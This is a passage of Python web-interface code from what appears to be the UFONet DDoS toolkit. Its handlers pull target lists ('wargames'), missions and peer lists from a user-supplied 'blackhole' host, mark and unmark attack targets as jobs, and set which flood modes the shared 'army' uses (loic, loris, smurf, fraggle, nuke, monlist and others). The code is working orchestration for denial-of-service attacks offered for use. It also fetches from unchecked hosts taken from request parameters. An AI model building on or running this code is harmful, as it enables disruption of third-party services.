self.pages["/cmd_refresh_tv_update"] = "<pre>"+f.read()+"<pre>"
4471
if page == "/cmd_sync_wargames":
4472
self.pages["/cmd_sync_wargames"] = "<pre>Waiting for 'blackhole' reply...</pre>"
4473
blackhole_ip = pGet["wargames_source"]
4474
blackhole_ip = urllib.parse.unquote(blackhole_ip)
4475
try:
4476
wargames = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read().decode('utf-8')
4477
f = open(self.wargames_file, "w") # write updates to wargames.txt
4478
f.write(wargames)
4479
f.close()
4480
self.wargames_text = wargames
4481
except:
4482
wargames = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
4483
end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
4484
f = open("/tmp/out", "w")
4485
f.write(str(wargames))
4486
f.write(end_mark)
4487
f.close()
4488
if page == "/cmd_sync_wargames_update":
4489
if not os.path.exists('/tmp/out'):
4490
open('/tmp/out', 'w').close()
4491
with open('/tmp/out', 'r') as f:
4492
stream = f.read()
4493
stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
4494
self.pages["/cmd_sync_wargames_update"] = "<pre>"+stream+"<pre>"
4495
if page == "/cmd_sync_links":
4496
self.pages["/cmd_sync_links"] = "<pre>Waiting for 'blackhole' reply...</pre>"
4497
blackhole_ip = pGet["link_source"]
4498
blackhole_ip = urllib.parse.unquote(blackhole_ip)
4499
try:
4500
links = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/links.txt').read().decode('utf-8')
4501
f = open(self.links_file, "w") # write updates to links.txt
4502
f.write(links)
4503
f.close()
4504
self.links_text = links
4505
except:
4506
links = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
4507
end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
4508
f = open("/tmp/out", "w")
4509
f.write(str(links))
4510
f.write(end_mark)
4511
f.close()
4512
if page == "/cmd_sync_links_update":
4513
if not os.path.exists('/tmp/out'):
4514
open('/tmp/out', 'w').close()
4515
with open('/tmp/out', 'r') as f:
4516
stream = f.read()
4517
stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
4518
self.pages["/cmd_sync_links_update"] = "<pre>"+stream+"<pre>"
4519
if page == "/cmd_sync_globalnet":
4520
self.pages["/cmd_sync_globalnet"] = "<pre>Waiting for 'blackhole' reply...</pre>"
4521
blackhole_ip = pGet["globalnet_source"]
4522
blackhole_ip = urllib.parse.unquote(blackhole_ip)
4523
try:
4524
globalnet = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/globalnet.txt').read().decode('utf-8')
4525
f = open(self.globalnet_file, "w") # write updates to globalnet.txt
4526
f.write(globalnet)
4527
f.close()
4528
self.globalnet_text = globalnet
4529
except:
4530
globalnet = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
4531
end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
4532
f = open("/tmp/out", "w")
4533
f.write(str(globalnet))
4534
f.write(end_mark)
4535
f.close()
4536
if page == "/cmd_sync_globalnet_update":
4537
if not os.path.exists('/tmp/out'):
4538
open('/tmp/out', 'w').close()
4539
with open('/tmp/out', 'r') as f:
4540
stream = f.read()
4541
stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
4542
self.pages["/cmd_sync_globalnet_update"] = "<pre>"+stream+"<pre>"
4543
if page == "/cmd_sync_streams":
4544
self.pages["/cmd_sync_streams"] = "<pre>Waiting for 'blackhole' reply...</pre>"
4545
blackhole_ip = pGet["stream_source"]
4546
blackhole_ip = urllib.parse.unquote(blackhole_ip)
4547
try:
4548
streams = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/streams.txt').read().decode('utf-8')
4549
f = open(self.streams_file, "w") # write updates to streams.txt
4550
f.write(streams)
4551
f.close()
4552
self.streams_text = streams
4553
except:
4554
streams = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
4555
end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
4556
f = open("/tmp/out", "w")
4557
f.write(str(streams))
4558
f.write(end_mark)
4559
f.close()
4560
if page == "/cmd_sync_streams_update":
4561
if not os.path.exists('/tmp/out'):
4562
open('/tmp/out', 'w').close()
4563
with open('/tmp/out', 'r') as f:
4564
stream = f.read()
4565
stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
4566
self.pages["/cmd_sync_streams_update"] = "<pre>"+stream+"<pre>"
4567
if page == "/cmd_refresh_missions":
4568
self.pages["/cmd_refresh_missions"] = "<pre>Waiting for 'blackhole' reply...</pre>"
4569
blackhole_ip = pGet["missions_source"]
4570
blackhole_ip = urllib.parse.unquote(blackhole_ip)
4571
try:
4572
missions = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/missions.txt').read().decode('utf-8')
4573
f = open(self.missions, "w") # write updates to missions.txt
4574
f.write(missions)
4575
f.close()
4576
self.missions_text = missions
4577
except:
4578
missions = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
4579
end_mark = "\n[Info] [AI] End of missions feed. -> [Refreshing!]"
4580
f = open("/tmp/out", "w")
4581
f.write(str(missions))
4582
f.write(end_mark)
4583
f.close()
4584
if page == "/cmd_refresh_missions_update":
4585
if not os.path.exists('/tmp/out'):
4586
open('/tmp/out', 'w').close()
4587
with open('/tmp/out', 'r') as f:
4588
self.pages["/cmd_refresh_missions_update"] = "<pre>"+f.read()+"<pre>"
4589
if page == "/cmd_refresh_ranking":
4590
self.pages["/cmd_refresh_ranking"] = "<pre>Waiting for 'blackhole' reply...</pre>"
4591
ranking_ip = pGet["ranking_source"]
4592
ranking_ip = urllib.parse.unquote(ranking_ip)
4593
try:
4594
ranking = urllib.request.urlopen('http://'+ranking_ip+'/ufonet/grid.txt').read().decode('utf-8')
4595
f = open(self.grid_file, "w") # write updates to grid.txt
4596
f.write(ranking)
4597
f.close()
4598
self.ranking_text = ranking
4599
except:
4600
ranking = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
4601
end_mark = "\n[Info] [AI] End of ranking feed. -> [Refreshing!]"
4602
f = open("/tmp/out", "w")
4603
f.write(str(ranking))
4604
f.write(end_mark)
4605
f.close()
4606
if page == "/cmd_refresh_ranking_update":
4607
if not os.path.exists('/tmp/out'):
4608
open('/tmp/out', 'w').close()
4609
with open('/tmp/out', 'r') as f:
4610
self.pages["/cmd_refresh_ranking_update"] = "<pre>"+f.read()+"<pre>"
4611
if page == "/cmd_sync_grid":
4612
self.pages["/cmd_sync_grid"] = "<pre>Waiting for 'blackhole' reply...</pre>"
4613
blackhole_ip = pGet["grid_source"]
4614
blackhole_ip = urllib.parse.unquote(blackhole_ip)
4615
try:
4616
grid = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read().decode('utf-8')
4617
f = open(self.grid_file, "w") # write updates to grid.txt
4618
f.write(grid)
4619
f.close()
4620
self.grid_text = grid
4621
except:
4622
grid = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
4623
end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
4624
f = open("/tmp/out", "w")
4625
f.write(str(grid))
4626
f.write(end_mark)
4627
f.close()
4628
if page == "/cmd_sync_grid_update":
4629
if not os.path.exists('/tmp/out'):
4630
open('/tmp/out', 'w').close()
4631
with open('/tmp/out', 'r') as f:
4632
stream = f.read()
4633
stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
4634
self.pages["/cmd_sync_grid_update"] = "<pre>"+stream+"<pre>"
4635
if page == "/cmd_job_remove":
4636
self.pages["/cmd_job_remove"] = "<pre>Removing wargame from your list...</pre>"
4637
try:
4638
job_id = pGet["id"]
4639
except:
4640
job_id = ""
4641
if job_id != "":
4642
self.list_wargames.reverse()
4643
try:
4644
job_task = self.list_wargames[(int(job_id)-1)]
4645
f = open(self.wargames_file,"r")
4646
ls = f.readlines()
4647
f.close()
4648
f = open(self.wargames_file,"w")
4649
for l in ls:
4650
if str(l) != str(job_task):
4651
f.write(l)
4652
f.close()
4653
except:
4654
pass
4655
if page == "/cmd_job_remove_update":
4656
if not os.path.exists('/tmp/out'):
4657
open('/tmp/out', 'w').close()
4658
with open('/tmp/out', 'r') as f:
4659
self.pages["/cmd_job_remove_update"] = "<pre>"+f.read()+"<pre>"
4660
if page == "/cmd_job_remove_all":
4661
self.pages["/cmd_job_remove_all"] = "<pre>Purging ALL -CLOSED- wargames from your list...</pre>"
4662
try:
4663
key_params = pGet["key"]
4664
sep = ","
4665
key = key_params.rsplit(sep, 1)[0]
4666
except:
4667
key = ""
4668
if key != "":
4669
try:
4670
self.list_wargames.reverse()
4671
now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
4672
now = strptime(now, "%d-%m-%Y %H:%M:%S")
4673
f = open(self.wargames_file,"r")
4674
ls = f.readlines()
4675
f.close()
4676
f = open(self.wargames_file,"w")
4677
sep = wargames_msg_sep
4678
for l in ls:
4679
job_estimated = l.rsplit(sep, 1)[1]
4680
self.decrypt(key, job_estimated)
4681
if self.decryptedtext:
4682
job_estimated = self.decryptedtext
4683
else:
4684
job_estimated = now
4685
self.decryptedtext = ""
4686
job_estimated = strptime(job_estimated, "%d-%m-%Y %H:%M:%S")
4687
if (now >= job_estimated) == False: # -ONGOING-
4688
f.write(l)
4689
f.close()
4690
except:
4691
pass
4692
if page == "/cmd_job_remove_all_update":
4693
if not os.path.exists('/tmp/out'):
4694
open('/tmp/out', 'w').close()
4695
with open('/tmp/out', 'r') as f:
4696
self.pages["/cmd_job_remove_all_update"] = "<pre>"+f.read()+"<pre>"
4697
if page == "/cmd_edit_supply":
4698
self.pages["/cmd_edit_supply"] = "<pre>Changing 'Global Army Supply' configuration...</pre>"
4699
try:
4700
supply_botnet = pGet["botnet"]
4701
supply_loic = pGet["loic"]
4702
supply_loris = pGet["loris"]
4703
supply_ufosyn = pGet["ufosyn"]
4704
supply_spray = pGet["spray"]
4705
supply_smurf = pGet["smurf"]
4706
supply_xmas = pGet["xmas"]
4707
supply_nuke = pGet["nuke"]
4708
supply_tachyon = pGet["tachyon"]
4709
supply_monlist = pGet["monlist"]
4710
supply_fraggle = pGet["fraggle"]
4711
supply_sniper = pGet["sniper"]
4712
supply_ufoack = pGet["ufoack"]
4713
supply_uforst = pGet["uforst"]
4714
supply_droper = pGet["droper"]
4715
supply_overlap = pGet["overlap"]
4716
supply_pinger = pGet["pinger"]
4717
supply_ufoudp = pGet["ufoudp"]
4718
except: # default global supply army
4719
supply_botnet = 1
4720
supply_loic = 0
4721
supply_loris = 0
4722
supply_ufosyn = 0
4723
supply_spray = 0
4724
supply_smurf = 0
4725
supply_xmas = 0
4726
supply_nuke = 0
4727
supply_tachyon = 0
4728
supply_monlist = 0
4729
supply_fraggle = 0
4730
supply_sniper = 0
4731
supply_ufoack = 0
4732
supply_uforst = 0
4733
supply_droper = 0
4734
supply_overlap = 0
4735
supply_pinger = 0
4736
supply_ufoudp = 0
4737
with open(self.mothership_supplycfg_file, "w") as f:
4738
json.dump({"botnet": supply_botnet, "loic": supply_loic, "loris": supply_loris, "ufosyn": supply_ufosyn, "spray": supply_spray, "smurf": supply_smurf, "xmas": supply_xmas, "nuke": supply_nuke, "tachyon": supply_tachyon, "monlist": supply_monlist, "fraggle": supply_fraggle, "sniper": supply_sniper, "ufoack": supply_ufoack, "uforst": supply_uforst, "droper": supply_droper, "overlap": supply_overlap, "pinger": supply_pinger, "ufoudp": supply_ufoudp}, f, indent=4)
4739
if page == "/cmd_job_add":
4740
self.pages["/cmd_job_add"] = "<pre>Adding wargame to your list...</pre>"
4741
try:
4742
job_params = pGet["id"]
4743
sep = ","
4744
job_id = job_params.rsplit(sep, 1)[0]
4745
except:
4746
job_id = ""
4747
if job_id != "":
4748
self.list_wargames.reverse()
4749
try:
4750
job_task = self.list_wargames[(int(job_id)-1)]
4751
f = open(self.wargames_file,"r")
4752
ls = f.readlines()
4753
f.close()
4754
f = open(self.wargames_file,"w")
4755
sep = wargames_msg_sep
4756
for l in ls:
4757
if str(l) != str(job_task):
4758
f.write(l)
4759
else:
4760
job_t2 = job_task.rsplit(sep, 1)[0]
4761
job_creation = job_t2.rsplit(sep, 1)[0]
4762
job_target = job_t2.rsplit(sep, 1)[1]
4763
job_estimated = job_task.rsplit(sep, 1)[1]
4764
l = str(job_creation) + wargames_msg_sep + str(job_target) + "!!!#-#" + str(job_estimated) # '!!!' target marked as job
4765
f.write(l)
4766
f.close()
4767
except:
4768
pass
4769
if page == "/cmd_job_add_update":
4770
if not os.path.exists('/tmp/out'):
4771
open('/tmp/out', 'w').close()
4772
with open('/tmp/out', 'r') as f:
4773
self.pages["/cmd_job_add_update"] = "<pre>"+f.read()+"<pre>"
4774
if page == "/cmd_job_add_all":
4775
self.pages["/cmd_job_add_all"] = "<pre>Engaging ALL -ONGOING- wargames... ;-)</pre>"
4776
try:
4777
self.list_wargames.reverse()
4778
f = open(self.wargames_file,"r")
4779
ls = f.readlines()
4780
f.close()
4781
f = open(self.wargames_file,"w")
4782
sep = wargames_msg_sep
4783
for l in ls:
4784
job_t2 = l.rsplit(sep, 1)[0]
4785
job_creation = job_t2.rsplit(sep, 1)[0]
4786
job_target = job_t2.rsplit(sep, 1)[1]
4787
job_estimated = l.rsplit(sep, 1)[1]
4788
if not "!!!" in job_target:
4789
l = str(job_creation) + wargames_msg_sep + str(job_target) + "!!!#-#" + str(job_estimated)
4790
else:
4791
l = str(job_creation) + wargames_msg_sep + str(job_target) + wargames_msg_sep + str(job_estimated)
4792
f.write(l)
4793
f.close()
4794
except:
4795
pass
4796
if page == "/cmd_job_add_all_update":
4797
if not os.path.exists('/tmp/out'):
4798
open('/tmp/out', 'w').close()
4799
with open('/tmp/out', 'r') as f:
4800
self.pages["/cmd_job_add_all_update"] = "<pre>"+f.read()+"<pre>"
4801
if page == "/cmd_job_cancel":
4802
self.pages["/cmd_job_cancel"] = "<pre>Canceling wargame from your list...</pre>"
4803
try:
4804
job_params = pGet["id"]
4805
sep = ","
4806
job_id = job_params.rsplit(sep, 1)[0]
4807
except:
4808
job_id = ""
4809
if job_id != "":
4810
self.list_wargames.reverse()
4811
try:
4812
job_task = self.list_wargames[(int(job_id)-1)]
4813
f = open(self.wargames_file,"r")
4814
ls = f.readlines()
4815
f.close()
4816
f = open(self.wargames_file,"w")
4817
for l in ls:
4818
if str(l) != str(job_task):
4819
f.write(l)
4820
else:
4821
sep = wargames_msg_sep
4822
job_t2 = job_task.rsplit(sep, 1)[0]
4823
job_creation = job_t2.rsplit(sep, 1)[0]
4824
job_target = job_t2.rsplit(sep, 1)[1]
4825
job_target = job_target.replace("!!!","") # undo target marked as job (unjob)
4826
job_estimated = job_task.rsplit(sep, 1)[1]
4827
l = str(job_creation) + wargames_msg_sep + str(job_target) + wargames_msg_sep + str(job_estimated)
4828
f.write(l)
4829
f.close()
4830
except:
4831
pass
4832
if page == "/cmd_job_cancel_update":
4833
if not os.path.exists('/tmp/out'):
4834
open('/tmp/out', 'w').close()
4835
with open('/tmp/out', 'r') as f:
4836
self.pages["/cmd_job_cancel_update"] = "<pre>"+f.read()+"<pre>"
4837
if page == "/cmd_job_cancel_all":
4838
self.pages["/cmd_job_cancel_all"] = "<pre>Canceling ALL -JOINED- wargames from your list...</pre>"
4839
try:
4840
self.list_wargames.reverse()
4841
f = open(self.wargames_file,"r")
4842
ls = f.readlines()
4843
f.close()
4844
f = open(self.wargames_file,"w")
4845
sep = wargames_msg_sep
4846
for l in ls:
4847
job_t2 = l.rsplit(sep, 1)[0]
4848
job_creation = job_t2.rsplit(sep, 1)[0]
4849
job_target = job_t2.rsplit(sep, 1)[1]
4850
job_target = job_target.replace("!!!","") # undo target marked as job (unjob)
4851
job_estimated = l.rsplit(sep, 1)[1]
4852
l = str(job_creation) + wargames_msg_sep + str(job_target) + wargames_msg_sep + str(job_estimated)
4853
f.write(l)
4854
f.close()
4855
except:
4856
pass
4857
if page == "/cmd_job_cancel_all_update":
4858
if not os.path.exists('/tmp/out'):
4859
open('/tmp/out', 'w').close()
4860
with open('/tmp/out', 'r') as f:
4861
self.pages["/cmd_job_cancel_all_update"] = "<pre>"+f.read()+"<pre>"
4862
if page == "/cmd_job_filter":
4863
try:
4864
job_filter = pGet["filter"]
4865
job_key = pGet["key"]
4866
except:
4867
job_filter = "creation"
4868
job_key = str(self.crypto_key)
4869
self.pages["/cmd_job_filter"] = "<pre>Ordering wargames by: "+job_filter+"</pre>"
4870
nodec_text = "KEY?"
4871
try:
4872
wargames_items=[]
4873
with open(self.wargames_file) as f:
4874
ls = f.read().splitlines()
4875
f.close()
4876
f = open(self.wargames_file,"w")
4877
for j in ls:
4878
if wargames_msg_sep in j:
4879
m = j.split(wargames_msg_sep)
4880
wargames_creation = m[0] # creation date
4881
self.decrypt(job_key, wargames_creation)
4882
if self.decryptedtext:
4883
wargames_creation = self.decryptedtext
4884
else:
4885
wargames_creation = nodec_text
4886
self.decryptedtext = "" # clean decryptedtext buffer
4887
wargames_target = m[1] # target
4888
self.decrypt(job_key, wargames_target)
4889
if self.decryptedtext:
4890
wargames_target = self.decryptedtext
4891
if wargames_target.startswith("www."):
4892
wargames_target = wargames_target.replace("www.","")
4893
else:
4894
wargames_target = nodec_text
4895
self.decryptedtext = "" # clean decryptedtext buffer
4896
wargames_estimated = m[2] # estimated date
4897
self.decrypt(job_key, wargames_estimated)
4898
if self.decryptedtext:
4899
wargames_estimated = self.decryptedtext
4900
else:
4901
wargames_estimated = nodec_text
4902
self.decryptedtext = "" # clean decryptedtext buffer
4903
wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
4904
wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
4905
wargames_items.append([wargames_creation,wargames_target,wargames_estimated])
4906
if job_filter == "creation":
4907
wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation
4908
elif job_filter == "target":
4909
wargames_items=sorted(wargames_items,key=lambda x:x[1]) # sorted by target
4910
elif job_filter == "estimated":
4911
wargames_items=sorted(wargames_items,key=lambda x:x[2]) # sorted by estimated
4912
else:
4913
wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation
4914
for i in wargames_items:
4915
wargames_creation = i[0]
4916
wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
4917
self.encrypt(job_key, wargames_creation)
4918
if self.encryptedtext:
4919
wargames_creation = self.encryptedtext
4920
self.encryptedtext = "" # clean encryptedtext buffer
4921
wargames_target = str(i[1])
4922
self.encrypt(job_key, wargames_target)
4923
if self.encryptedtext:
4924
wargames_target = self.encryptedtext
4925
self.encryptedtext = "" # clean encryptedtext buffer
4926
wargames_estimated = i[2]
4927
wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
4928
self.encrypt(job_key, wargames_estimated)
4929
if self.encryptedtext:
4930
wargames_estimated = self.encryptedtext
4931
self.encryptedtext = "" # clean encryptedtext buffer
4932
l = str(wargames_creation) + wargames_msg_sep + str(wargames_target) + wargames_msg_sep + str(wargames_estimated)
4933
f.write(l + os.linesep)
4934
f.close()
4935
except:
4936
pass
4937
if page == "/cmd_job_filter_update":
4938
if not os.path.exists('/tmp/out'):
4939
open('/tmp/out', 'w').close()
4940
with open('/tmp/out', 'r') as f:
4941
self.pages["/cmd_job_filter_update"] = "<pre>"+f.read()+"<pre>"
4942
if page == "/cmd_link_filter":
4943
try:
4944
link_filter = pGet["filter"]
4945
link_key = pGet["key"]
4946
except:
4947
link_filter = "creation"
4948
link_key = str(self.crypto_key)
4949
self.pages["/cmd_link_filter"] = "<pre>Ordering links by: "+link_filter+"</pre>"
4950
nodec_text = "KEY?"
4951
try:
4952
links_items=[]
4953
with open(self.links_file) as f:
4954
ls = f.read().splitlines()
4955
f.close()
4956
f = open(self.links_file,"w")
4957
for j in ls:
4958
if links_msg_sep in j:
4959
m = j.split(links_msg_sep)
4960
link_creation = m[0] # creation date
4961
self.decrypt(link_key, link_creation)
4962
if self.decryptedtext:
4963
link_creation = self.decryptedtext
4964
else:
4965
link_creation = nodec_text
4966
self.decryptedtext = "" # clean decryptedtext buffer
4967
link_url = m[1] # url
4968
self.decrypt(link_key, link_url)
4969
if self.decryptedtext:
4970
link_url = self.decryptedtext
4971
if link_url.startswith("www."):
4972
link_url = link_url.replace("www.","")
4973
else:
4974
link_url = nodec_text
4975
self.decryptedtext = "" # clean decryptedtext buffer
4976
link_topic = m[2] # topic
4977
self.decrypt(link_key, link_topic)
4978
if self.decryptedtext:
4979
link_topic = self.decryptedtext
4980
else:
4981
link_topic = nodec_text
4982
self.decryptedtext = "" # clean decryptedtext buffer
4983
link_creation = strptime(link_creation, "%d-%m-%Y %H:%M:%S")
4984
links_items.append([link_creation,link_url,link_topic])
4985
if link_filter == "creation":
4986
links_items=sorted(links_items,key=lambda x:x[0]) # sorted by creation
4987
elif link_filter == "url":
4988
links_items=sorted(links_items,key=lambda x:x[1]) # sorted by url
4989
elif link_filter == "topic":
4990
links_items=sorted(links_items,key=lambda x:x[2]) # sorted by topic
4991
else:
4992
links_items=sorted(links_items,key=lambda x:x[0]) # sorted by creation
4993
for i in links_items:
4994
link_creation = i[0]
4995
link_creation = strftime("%d-%m-%Y %H:%M:%S", link_creation)
4996
self.encrypt(link_key, link_creation)
4997
if self.encryptedtext:
4998
link_creation = self.encryptedtext
4999
else:
5000
link_creation = nodec_text
5001
self.encryptedtext = "" # clean encryptedtext buffer
5002
link_url = str(i[1])
5003
self.encrypt(link_key, link_url)
5004
if self.encryptedtext:
5005
link_url = self.encryptedtext
5006
else:
5007
link_url = nodec_text
5008
self.encryptedtext = "" # clean encryptedtext buffer
5009
link_topic = str(i[2])
5010
self.encrypt(link_key, link_topic)
5011
if self.encryptedtext:
5012
link_topic = self.encryptedtext
5013
else:
5014
link_topic = nodec_text
5015
self.encryptedtext = "" # clean encryptedtext buffer
5016
l = str(link_creation) + links_msg_sep + str(link_url) + links_msg_sep + str(link_topic)
5017
f.write(l + os.linesep)
5018
f.close()
5019
except:
5020
pass
5021
if page == "/cmd_link_filter_update":
5022
if not os.path.exists('/tmp/out'):
5023
open('/tmp/out', 'w').close()
5024
with open('/tmp/out', 'r') as f:
5025
self.pages["/cmd_link_filter_update"] = "<pre>"+f.read()+"<pre>"
5026
if page == "/cmd_stream_filter":
5027
try:
5028
stream_filter = pGet["filter"]
5029
stream_key = pGet["key"]
5030
except:
5031
stream_filter = "creation"
5032
stream_key = str(self.crypto_key)
5033
self.pages["/cmd_stream_filter"] = "<pre>Ordering streams by: "+stream_filter+"</pre>"
5034
nodec_text = "KEY?"
5035
try:
5036
streams_items=[]
5037
with open(self.streams_file) as f:
5038
ls = f.read().splitlines()
5039
f.close()
5040
f = open(self.streams_file,"w")
5041
for j in ls:
5042
if streams_msg_sep in j:
5043
m = j.split(streams_msg_sep)
5044
stream_creation = m[0] # creation date
5045
self.decrypt(stream_key, stream_creation)
5046
if self.decryptedtext:
5047
stream_creation = self.decryptedtext
5048
else:
5049
stream_creation = nodec_text
5050
self.decryptedtext = "" # clean decryptedtext buffer
5051
stream_url = m[1] # url
5052
self.decrypt(stream_key, stream_url)
5053
if self.decryptedtext:
5054
stream_url = self.decryptedtext
5055
if stream_url.startswith("www."):
5056
stream_url = stream_url.replace("www.","")
5057
else:
5058
stream_url = nodec_text
5059
self.decryptedtext = "" # clean decryptedtext buffer
5060
stream_topic = m[2] # topic
5061
self.decrypt(stream_key, stream_topic)
5062
if self.decryptedtext:
5063
stream_topic = self.decryptedtext
5064
else:
5065
stream_topic = nodec_text
5066
self.decryptedtext = "" # clean decryptedtext buffer
5067
stream_creation = strptime(stream_creation, "%d-%m-%Y %H:%M:%S")
5068
streams_items.append([stream_creation,stream_url,stream_topic])
5069
if stream_filter == "creation":
5070
streams_items=sorted(streams_items,key=lambda x:x[0]) # sorted by creation
5071
elif stream_filter == "url":
5072
streams_items=sorted(streams_items,key=lambda x:x[1]) # sorted by url
5073
elif stream_filter == "topic":
5074
streams_items=sorted(streams_items,key=lambda x:x[2]) # sorted by topic
5075
else:
5076
streams_items=sorted(streams_items,key=lambda x:x[0]) # sorted by creation
5077
for i in streams_items:
5078
stream_creation = i[0]
5079
stream_creation = strftime("%d-%m-%Y %H:%M:%S", stream_creation)
5080
self.encrypt(stream_key, stream_creation)
5081
if self.encryptedtext:
5082
stream_creation = self.encryptedtext
5083
else:
5084
stream_creation = nodec_text
5085
self.encryptedtext = "" # clean encryptedtext buffer
5086
stream_url = str(i[1])
5087
self.encrypt(stream_key, stream_url)
5088
if self.encryptedtext:
5089
stream_url = self.encryptedtext
5090
else:
5091
stream_url = nodec_text
5092
self.encryptedtext = "" # clean encryptedtext buffer
5093
stream_topic = str(i[2])
5094
self.encrypt(stream_key, stream_topic)
5095
if self.encryptedtext:
5096
stream_topic = self.encryptedtext
5097
else:
5098
stream_topic = nodec_text
5099
self.encryptedtext = "" # clean encryptedtext buffer
5100
l = str(stream_creation) + streams_msg_sep + str(stream_url) + streams_msg_sep + str(stream_topic)
5101
f.write(l + os.linesep)
5102
f.close()
5103
except:
5104
pass
5105
if page == "/cmd_stream_filter_update":
5106
if not os.path.exists('/tmp/out'):
5107
open('/tmp/out', 'w').close()
5108
with open('/tmp/out', 'r') as f:
5109
self.pages["/cmd_stream_filter_update"] = "<pre>"+f.read()+"<pre>"
5110
if page == "/cmd_globalnet_filter":
5111
try:
5112
globalnet_filter = pGet["filter"]
5113
globalnet_key = pGet["key"]
5114
except:
5115
globalnet_filter = "owner"
5116
globalnet_key = str(self.crypto_key)
5117
self.pages["/cmd_globalnet_filter"] = "<pre>Ordering Global.Net by: "+globalnet_filter+"</pre>"
5118
nodec_text = "KEY?"
5119
try:
5120
globalnet_items=[]
5121
with open(self.globalnet_file) as f:
5122
ls = f.read().splitlines()
5123
f.close()
5124
f = open(self.globalnet_file,"w")
5125
for j in ls:
5126
if globalnet_msg_sep in j:
5127
m = j.split(globalnet_msg_sep)
5128
globalnet_owner = m[0] # owner
5129
self.decrypt(globalnet_key, globalnet_owner)
5130
if self.decryptedtext:
5131
globalnet_owner = self.decryptedtext
5132
else:
5133
globalnet_owner = nodec_text
5134
self.decryptedtext = "" # clean decryptedtext buffer
5135
globalnet_comment = m[1] # comment
5136
self.decrypt(globalnet_key, globalnet_comment)
5137
if self.decryptedtext:
5138
globalnet_comment = self.decryptedtext
5139
else:
5140
globalnet_comment = nodec_text
5141
self.decryptedtext = "" # clean decryptedtext buffer
5142
globalnet_warp = m[2] # warp
5143
self.decrypt(globalnet_key, globalnet_warp)
5144
if self.decryptedtext:
5145
globalnet_warp = self.decryptedtext
5146
else:
5147
globalnet_warp = nodec_text
5148
self.decryptedtext = "" # clean decryptedtext buffer
5149
globalnet_ip = m[3] # ip
5150
self.decrypt(globalnet_key, globalnet_ip)
5151
if self.decryptedtext:
5152
globalnet_ip = self.decryptedtext
5153
else:
5154
globalnet_ip = nodec_text
5155
self.decryptedtext = "" # clean decryptedtext buffer
5156
globalnet_items.append([globalnet_owner,globalnet_comment,globalnet_warp,globalnet_ip])
5157
if globalnet_filter == "owner":
5158
globalnet_items=sorted(globalnet_items,key=lambda x:x[0]) # sorted by owner
5159
elif globalnet_filter == "comment":
5160
globalnet_items=sorted(globalnet_items,key=lambda x:x[1]) # sorted by comment
5161
elif globalnet_filter == "warp":
5162
globalnet_items=sorted(globalnet_items,key=lambda x:x[2]) # sorted by warp
5163
elif globalnet_filter == "ip":
5164
globalnet_items=sorted(globalnet_items,key=lambda x:x[3]) # sorted by ip
5165
else:
5166
globalnet_items=sorted(globalnet_items,key=lambda x:x[0]) # sorted by owner
5167
for i in globalnet_items:
5168
globalnet_owner = str(i[0])
5169
self.encrypt(globalnet_key, globalnet_owner)
5170
if self.encryptedtext:
5171
globalnet_owner = self.encryptedtext
5172
else:
5173
globalnet_owner = nodec_text
5174
self.encryptedtext = "" # clean encryptedtext buffer
5175
globalnet_comment = str(i[1])
5176
self.encrypt(globalnet_key, globalnet_comment)
5177
if self.encryptedtext:
5178
globalnet_comment = self.encryptedtext
5179
else:
5180
globalnet_comment = nodec_text
5181
self.encryptedtext = "" # clean encryptedtext buffer
5182
globalnet_warp = str(i[2])
5183
self.encrypt(globalnet_key, globalnet_warp)
5184
if self.encryptedtext:
5185
globalnet_warp = self.encryptedtext
5186
else:
5187
globalnet_warp = nodec_text
5188
self.encryptedtext = "" # clean encryptedtext buffer
5189
globalnet_ip = str(i[3])
5190
self.encrypt(globalnet_key, globalnet_ip)
5191
if self.encryptedtext:
5192
globalnet_ip = self.encryptedtext
5193
else:
5194
globalnet_ip = nodec_text
5195
self.encryptedtext = "" # clean encryptedtext buffer
5196
l = str(globalnet_owner) + globalnet_msg_sep + str(globalnet_comment) + globalnet_msg_sep + str(globalnet_warp) + globalnet_msg_sep + str(globalnet_ip)
5197
f.write(l + os.linesep)
5198
f.close()
5199
except:
5200
pass
5201
if page == "/cmd_globalnet_filter_update":
5202
if not os.path.exists('/tmp/out'):
5203
open('/tmp/out', 'w').close()
5204
with open('/tmp/out', 'r') as f:
5205
self.pages["/cmd_globalnet_filter_update"] = "<pre>"+f.read()+"<pre>"
5206
if page == "/cmd_grid_filter":
5207
try:
5208
grid_filter = pGet["filter"]
5209
grid_key = pGet["key"]
5210
except:
5211
grid_filter = "missions" # default grid order by
5212
grid_key = str(self.crypto_key)
5213
self.pages["/cmd_grid_filter"] = "<pre>Ordering grid by: "+grid_filter+"</pre>"
5214
nodec_text = "KEY?"
